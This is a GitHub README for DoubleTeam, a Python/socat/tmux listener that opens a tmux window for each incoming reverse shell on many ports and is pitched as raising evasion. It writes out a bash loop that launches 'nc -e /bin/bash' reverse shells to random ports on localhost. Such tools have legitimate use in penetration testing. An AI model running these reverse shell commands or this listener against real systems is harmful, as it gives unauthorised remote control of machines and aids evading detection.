Skip to content

Listener that spawns a new tmux window for each incoming reverse shell + Supports listening on many ports

Notifications You must be signed in to change notification settings

ricardojoserf/DoubleTeam

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

12 Commits
 
 
 
 

Repository files navigation

DoubleTeam

Python listener using socat, tmux and threading that:

  • Launches a new tmux window for each incoming reverse shell

  • Supports simultaneous listening on many ports

  • Automatically resumes listening on the port after spawning the tmux window

Generate reverse shell payloads that connect to random ports, raising your evasion level!

Double Team GIF

Usage

python3 doubleteam.py -p [PORT_LIST]

Options:

  • -p (--ports): Comma-separated list of ports to listen on. Ports below 1024 will require root privileges.

For example, to listen on 50 ports:

python3 doubleteam.py -p 443,4443,8443,8743,9443,9643,10443,10943,11443,11843,12243,12943,13443,13743,14243,14943,15443,15843,16343,16943,17243,17843,18343,18743,19343,19743,20243,20943,21343,21743,22243,22843,23343,23943,24343,24743,25343,25743,26243,26843,27443,27943,28443,29143,29743,30343,30843,31443,31943

Generate some reverse shells to connect to these ports randomly, for example using bash and Netcat:

for i in $(seq 1 10); do numbers=(443 4443 8443 8743 9443 9643 10443 10943 11443 11843 12243 12943 13443 13743 14243 14943 15443 15843 16343 16943 17243 17843 18343 18743 19343 19743 20243 20943 21343 21743 22243 22843 23343 23943 24343 24743 25343 25743 26243 26843 27443 27943 28443 29143 29743 30343 30843 31443 31943); port="${numbers[RANDOM % ${#numbers[@]}]}"; echo "Connecting to port $port"; nc -e /bin/bash 127.0.0.1 $port & ; done

The reverse shells are received:

img1

Then connect to the tmux session "doubleTeam":

tmux a -t doubleTeam

img2

If you list the windows you will see one for each reverse shell:

img3

Now you can close the Python listener if you want, the reverse shells will still be available in the tmux session!

About

Listener that spawns a new tmux window for each incoming reverse shell + Supports listening on many ports

Topics

Resources

Stars

Watchers

Forks

Sponsor this project

 

Languages